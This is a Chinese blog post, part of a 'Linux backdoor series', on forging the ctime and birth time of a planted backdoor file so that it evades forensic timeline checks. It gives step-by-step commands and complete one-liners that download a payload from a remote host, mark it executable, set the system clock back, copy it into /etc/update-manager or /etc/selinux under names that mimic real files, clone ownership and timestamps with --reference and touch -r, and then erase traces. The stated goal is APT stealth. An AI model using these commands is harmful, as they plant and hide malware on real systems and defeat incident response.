修改后门ctime | Linux 后门系列

news2024/12/28 14:00:22

0x00 前情提要

在 alias 后门 | Linux 后门系列一文中,我们为了让后门完美一些,修改了后门文件的 atime、mtime,但是 ctime 一直没有办法修改,今天我们来把这一块补齐,让后门更加完美

  • atime -> access time, 访问时间

  • mtime -> modify time,修改时间

  • ctime -> change time, 状态变化时间

最新版 Linux 中多了一个属性,文件创建时间,在 Centos Stream 中叫做 created time,在 Ubuntu中叫 Birth time

0x01 ctime 简介

文件状态变化,ctime 就会变化,例如以下信息变化:

  • 文件内容变化

  • 文件属性变化

  • 文件权限变化

  • ...

也就是说我们手动修改 atime 或者 mtime 的时候, ctime 会自动更新为当前时间。ctime是随着改变而改变的

0x02 修改 ctime 的理论方法

由于ctime的特性,我觉得这个问题可以从三个角度去考虑

  • 改变更新文件时间戳的应用运行状态

  • 改变当前时间

  • 改变展示系统时间戳的应用以及属性

1. 改变更新文件时间戳的应用运行状态

从字面意思看,我们可以找到维护Linux文件时间戳的应用,之后对应用本身进行修改,这听起来就是一个十分困难和危险的操作

简单一点,就是停止运行系统,通过较为底层的层面去修改目标文件的ctime,这应该是可行的,只要我们掌握足够的知识,但是不适合在APT场景中使用

2. 改变当前时间

系统的ctime 更改采用的时间是当前系统时间,那么也就是说如果把系统时间手动设置为 2008年1月1日,再对文件状态进行更改,那么最终留下的 ctime 就是 2008年1月1日的了

但是改变系统时间可不是一件小事,可能导致某些程序出现错误,所以需要有效的恢复手段

3. 改变展示系统时间戳的应用以及属性

一般大家都用 stat 来查看文件的完整时间戳,修改 stat 命令来改变展示的 ctime 不是一件难事

但是,可以获取文件 ctime 的应用不止 stat 一款,加上自行通过系统调用获取等。所以可以查看 stat 的源代码,看一下 stat 应用是如何获取和管理 ctime 的,针对其调用的方法进行系统性地修改应该也是可以实现修改文件 ctime 的

0x03 系统时钟与硬件时钟

Linux 时间系统分为系统时钟和硬件时钟,系统时钟存在于Linux 内核中,而硬件时钟存在于硬件主板上

从两种时钟的命名上可以看出,硬件时钟肯定是要比系统时钟更加持久,毕竟系统时钟系统关机就没了嘛

硬件时钟靠着BIOS电池供电,一直维持的一个时间,硬件都是按照这个时间来作为主要依据,每次开机会将计算机硬件时钟的时间的值作为系统时间

为了保证时间的准确性,操作系统一般会有时间同步的服务,也就是NTP服务,来让系统时间更加准确

详细知识可以查看鸟哥的网站

http://cn.linux.vbird.org/linux_server/0440ntp.php

查看系统时钟

date

查看硬件时钟

sudo hwclock --show

图片

0x04 方案选择

改变系统时间的方式最适合APT场景,所以本次介绍这一种方案

0x05 时间修改与恢复

修改系统时间后恢复系统时间必须是瞬时的,较长时间的系统时间改变会造成某些应用故障

1. 系统时间修改

可以使用 date 命令或 timedatectl 来进行,需要 root权限,这里以 date 为例

date -s "时间字符串"

将系统时间设置为 2018年8月9日 10:11:12

sudo date -s "20180809 10:11:12"

图片

这样就将系统时间修改了,但是由于 Ubuntu Server操作系统默认存在时间同步服务,刚修改完下一秒就会变回正常时间(即使是断网的情况下)

图片

快到难以让人分辨到底修改成功没有,也正是这个特性,给我们省了非常多的事,稍后会说,Centos Stream 默认就没有这个特性...

2. ctime 时间修改

ctime 时间修改可以用三种方法

  • touch -at/-mt  这种会一并修改 atime或者 mtime

  • touch -r oldfile newfile  这种方案就是将newfile 的atime 和 mtime 都设置为和 oldfile 一样,同时 ctime 就是当前系统时间了

  • chmod 或者 chown 之类的,修改一下文件属性,例如 chmod +x newfile.sh

在之前的章节中,我们使用的就是 touch -r 这种方式来伪装后门为系统正常文件,这次我们也是选择 touch -r 来进行

3. 系统时间恢复

通过上面的指令,我们已经可以将文件的 ctime 伪装成和系统某些文件一模一样的状态了,现在面临的问题是如何恢复系统时间。可以从以下几个角度去考虑:

  • 若存在NTP服务程序且存在可连接的服务器,可以使用 ntp 服务立刻同步,最常用的两个程序:ntpdate 和 chrony

    ntpdate 不是系统自带的程序, chronyc 是 Centos Stream 自带的, chronyc 立即同步执行后也要等一段时间才会将系统时间完全同步正确

    • sudo ntpdate time.ntp.org

    • sudo chronyc makestep

  • 记录修改前的 date , 修改 ctime 后立刻改回来

    NOW=$(date) && date -s "2021-09-05 08:00:00" && touch file.txt && date -s "$NOW"
    

    参考

    https://sysin.org/blog/how-to-change-file-date/#2-Linux%EF%BC%88%E4%BF%AE%E6%94%B9%E6%97%B6%E9%97%B4%EF%BC%8C%E8%AE%BF%E9%97%AE%E6%97%B6%E9%97%B4%EF%BC%89

这个操作可能会导致操作系统时间与原来差一丢丢,但应该不会差很多

  • 从硬件时间恢复操作系统时间

    • sudo hwclock --hctosys

这个命令的含义是使用硬件时间的值作为系统时间

为了防止原来的系统时间和硬件时间有较大差异,在修改系统时间之前可以先看一下系统时间和硬件时间是否有较大差距

sudo hwclock --show && date +"%Y-%m-%d %H:%M:%S"

图片

可以看到,差距不大,可以考虑从硬件时间恢复系统时间

  • 修改前将系统时间覆盖到硬件时间,修改后恢复时从硬件时间恢复系统时间

    系统时间覆盖硬件时间

    sudo hwclock --systohc

    修改ctime

    balabal

    从硬件时间恢复系统时间

    sudo hwclock --hctosys

需要注意的是,这样的操作会彻底失去原来的硬件时间

0x06 新版本Linux 文件创建时间

Ubuntu Server 22.10 以及 Centos Stream 9 都有文件创建时间这个概念了

图片

图片

文件创建时间目前 touch 命令也不支持直接修改,也没有找到其他工具可以改,所以还是需要通过修改系统时间来进行

0x07 Ubuntu Server 22.10 实验

Ubuntu Server 即使断网使用 date -s 来修改系统时间,系统时间也会马上恢复

图片

还是以 alias 后门那篇文章里的后门为例

图片

默认情况下,/etc/update-manager/目录下有一个 release-upgrades 文件,我们设置一个后门,名字为 release-update,之后再将文件时间修改为和 release-upgrades 相近的时间

先查看一下 release-upgrades 文件的时间戳信息

stat /etc/update-manager/release-upgrades

图片

Access: 2022-11-02 06:39:29.335999611 +0000
Modify: 2022-09-29 19:13:49.000000000 +0000
Change: 2022-11-02 06:36:59.067636265 +0000
 Birth: 2022-11-02 06:36:59.067636265 +0000

atime 和 mtime 可以直接使用 touch -r 复制, change 和 Birth time(创建时间)通过调整系统时间来完成

这里用whoami 程序来模拟恶意程序,为明显区分文件和目录,后门程序名称为 whoami.elf

  1. 远程下载后门程序

    wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf"  -O /tmp/release-update
    
  2. 给后门程序添加可执行权限(配置文件先将权限设置成和release-upgrades相同)

    chmod +x /tmp/release-update
    
  3. 用系统时间覆盖硬件时间

    sudo hwclock --systohc
    
  4. 修改系统时间

    sudo date -s "20221102 06:36:59"
    
  5. copy 一份后门文件来满足文件创建时间模仿

    sudo cp /tmp/release-update /etc/update-manager/
    
  6. 如果是需要执行的后门,现在执行并放置后台,如果像 alias 那种配置文件后门则不需要此章节

    /etc/update-manager/release-update & 
    
  7. touch 模拟 release-upgrades 文件的 atime 和 mtime

    sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update
    
  8. 从硬件时间恢复系统时间

    sudo hwclock --hctosys
    
  9. 删除下载的后门程序

    rm /tmp/release-update
    

之前说过,这些操作必须是瞬时完成的,所以我们把它们组合起来

wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf" -O /tmp/release-update && chmod +x /tmp/release-update && sudo hwclock --systohc && sudo date -s "20221102 06:36:59" && sudo cp /tmp/release-update /etc/update-manager/ && sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update && sudo hwclock --hctosys && rm /tmp/release-update

图片

实验成功

PS:Ubuntu Server 其实可以没有第 3 步和第 8 步,因为操作系统会自动同步时间

我们去掉第 3 步和第 8 步试一下

图片

实验依旧成功

0x08 Centos Stream 9 实验

Centos 这边依旧使用Ubuntu Server 中的 9 个步骤,不过Centos Stream 9 中没有 /etc/update-manager/这个文件夹,我们选择 /etc/selinux/ 这个目录

图片

这里有一个 semanage.conf ,我们的恶意配置文件起名为 semanage.conf.example

由于模拟的是配置文件,我们服务器上的恶意配置文件的名称为 whoami.conf

图片

我们需要把时间修改为 2022-11-02 00:37:06 目录和文件名也要进行对应修改

同时,既然是配置文件,我们将恶意配置文件的权限和所有权也都设置和同目录下正常文件一致(权限和所属方面要符合后门实际情况,不要造成修改后没有权限读取了)

sudo chmod --reference=正常配置文件 恶意配置文件
sudo chown --reference=正常配置文件 恶意配置文件

这一步放在第 5[6] 步与第 7 步之间

整体命令为(写命令时候一定要小心小心再小心,别写错了)

wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.conf" -O /tmp/semanage.conf.example && chmod +x /tmp/semanage.conf.example && sudo hwclock --systohc && sudo date -s "20221102 00:37:06" && sudo cp /tmp/semanage.conf.example /etc/selinux/ && sudo chmod --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo chown --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo touch -r /etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo hwclock --hctosys && rm /tmp/semanage.conf.example

图片

图片

实验成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1627523.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构:最小生成树(Prim算法和Kruskal算法)、图的最短路径(Dijkstra算法和Bellman-Ford算法)

什么是最小生成树?Prim算法和Kruskal算法是如何找到最小生成树的? 最小生成树是指在一个连通图中,通过连接所有节点并使得总权重最小的子图。 Prim算法和Kruskal算法是两种常用的算法,用于寻找最小生成树。 Prim算法的步骤如下&…

正点原子[第二期]Linux之ARM(MX6U)裸机篇学习笔记-6.3

前言: 本文是根据哔哩哔哩网站上“正点原子[第二期]Linux之ARM(MX6U)裸机篇”视频的学习笔记,在这里会记录下正点原子 I.MX6ULL 开发板的配套视频教程所作的实验和学习笔记内容。本文大量引用了正点原子教学视频和链接中的内容。…

User Agent 解析:它是什么以及工作原理

什么是User Agent? UserAgent,简称UA,是一个使服务器能够识别用户使用的浏览器类型、版本以及运行浏览器的操作系统等信息的字符串。它作为浏览器请求头部信息的一部分发送给服务器,以便服务器可以返回合适格式和版本的内容。 跟Cookie一样…

x264 编码器源码分析综述

================================================================================ 系列文章 x264配置文章链接🔗Windows11编译x264源码https://blog.csdn.net/yanceyxin/article/details/135035650Mac调试x264源码https://blog.csdn.net/yanceyxin/article/details

想要应聘前端工程师——了解前端招聘需求

市场对前端工程师的需求依然旺盛。所谓知己知彼,百战不殆,分析各个公司对前端工程师的招聘需求,一方面可以了解到前端各细分领域在企业的需求情况,调整自己对岗位和薪资的期待,另一方面可以获得各种前端技术在企业中的应用情况,调整自己的学习和面试准备方向。因篇幅所限…

外网如何进行端口映射?

外网端口映射是一种网络技术,通过将外部网络请求映射到内部网络的指定端口,实现对内部网络资源的远程访问。它在各种应用场景中发挥着重要作用,为企业和个人提供了便捷的远程连接方式。本文将介绍外网端口映射的原理和应用,并重点…

《辐射4》次世代版本上线

B社刚刚发布了《辐射4》次世代版本,带来了许多令人期待的更新内容。这次更新的亮点包括新创作俱乐部内容如飞地遗迹和盔甲武器捆绑包,包括X-02动力装甲、地狱火动力装甲、重型焚烧炉、特斯拉大炮等。同时,新增了万圣节工作坊内容,…

阿里巴巴瓴羊基于 Flink 实时计算的优化和实践

摘要:本⽂整理⾃阿里云智能集团技术专家王柳焮⽼师在 Flink Forward Asia 2023 中平台建设专场的分享。内容主要为以下四部分: 阿里巴巴瓴羊基于 Flink 实时计算的平台演进Flink 能力优化与建设基于 Flink 的最佳实践未来规划 1. 阿里巴巴瓴羊基于 Flink…

python使用opencv对图像的基本操作(2)

13.对多个像素点进行操作,使用数组切片方式访问 img[i,:] img[j,:] #将第j行的数值赋值给第i行 img[-2,:]或img[-2] #倒数第二行 img[:,-1] #最后一列 img[50:100,50:100] #50-100行,50-100列(不包括第100行和第100列) img[:100…

陪丨玩丨系丨统前后端开发流程,APP小程序H5前后端源码交付支持二开!多人语音,开黑,线上线下两套操作可在一个系统完成!

100%全部源码出售 官网源码APP源码 管理系统源码 终身免费售后 产品免费更新 产品更新频率高 让您时刻立足于行业前沿 软件开发流程步骤及其作用: 软件开发是一个复杂而系统的过程,涉及多个环节,以下是软件开发的主要流程步骤及其作用…

合合信息引领AI场景化革新,供应链金融智能化审核全面升级!

官.网地址:合合TextIn - 合合信息旗下OCR云服务产品 随着供给侧结构性改革的深入推进和产业结构的不断升级,金融机构在监管部门的指导下,积极拓展供应链金融业务,取得了显著成效。这一举措有效缓解了上下游中小企业的融资困难&a…

01 校园人脸识别项目

前言 主要是来自于 朋友的需求 项目概况 项目情况如下 包含一个后端服务, 一个前端服务, 一个微信小程序服务 主要的业务流程如下 整体模型设计如下 一个班级下面 N 个学生, 一个班级根据实际情况老师进行课程安排 上课的时候 学生去对应的课程实验室进行上课, 上课…

HPE Aruba Networking推出新一代Wi-Fi 7接入点 助力企业高效应对安全、AI与物联网挑战

HPE ArubaNetworking推出的全新Wi-Fi 7接入点,提供全面的AI就绪边缘IT解决方案,旨在为用户和物联网设备提供安全、高性能的连接服务,以实现数据的捕获和路由,从而满足AI训练和推理需求 休斯顿-2024年4月23日-慧与科技(NYSE: HPE)近…

2024 java easyexcel poi word模板填充数据,多个word合成一个word

先看效果 一、准备工作 1.word模版 2.文件路径 二、pom依赖 <!-- easyexcel --><dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>2.1.7</version></dependency><depe…

STM32、GD32等驱动AMG8833热成像传感器源码分享

一、AMG8833介绍 1简介 AMG8833是一种红外热像传感器&#xff0c;也被称为热感传感器。它可以用来检测和测量物体的热辐射&#xff0c;并将其转换为数字图像。AMG8833传感器可以感知的热源范围为-20C到100C&#xff0c;并能提供8x8的像素分辨率。它通过I2C接口与微控制器或单…

DS进阶:AVL树和红黑树

一、AVL树 1.1 AVL树的概念 二叉搜索树&#xff08;BST&#xff09;虽可以缩短查找的效率&#xff0c;但如果数据有序或接近有序二叉搜索树将退化为单支树&#xff0c;查找元素相当于在顺序表中搜索元素&#xff0c;效率低下。因此&#xff0c;两位俄罗斯的数学家G.M.Adelson-…

为什么深度学习模型在 GPU 上运行得更快:CUDA 编程简介

如今,当我们谈论深度学习时,通常会将其实现与利用 GPU 来提高性能联系起来。 GPU(图形处理单元)最初设计用于加速图像、2D 和 3D 图形的渲染。然而,由于它们能够执行许多并行操作,因此它们的实用性超出了深度学习等应用程序。 GPU 在深度学习模型中的使用始于 2000 年代…

Unity读书系列《Unity高级编程:主程手记》——架构

文章目录 前言一、架构的意义1、承载力2、可扩展性3、易用性4、可伸缩性5、容错性以及错误的感知力 二、软件架构的思维方式二、构建Unity项目1、前端和后端架构之间2、培养架构设计思路3、Unity项目的分层设计 总结 前言 这篇文章是《Unity高级编程&#xff1a;主程手记》的第…

【源码】WHMCS 虚拟主机计费系统 易支付插件 USDT收款插件 支付宝 微信收款

【源码介绍】 WHMCS 虚拟主机计费系统 易支付插件 USDT收款插件 支付宝 微信收款 【源码说明】 WHMCS是一个国外的专业虚拟主机计费系统&#xff0c;功能很强大&#xff0c;这里分享一个7、8版本都可用的易支付 需要对接USDT可以谷歌下载易支付USDT插件&#xff0c;主机对接…

【R语言实战】——kNN和朴素贝叶斯方法实战

&#x1f349;CSDN小墨&晓末:https://blog.csdn.net/jd1813346972 个人介绍: 研一&#xff5c;统计学&#xff5c;干货分享          擅长Python、Matlab、R等主流编程软件          累计十余项国家级比赛奖项&#xff0c;参与研究经费10w、40w级横向 文…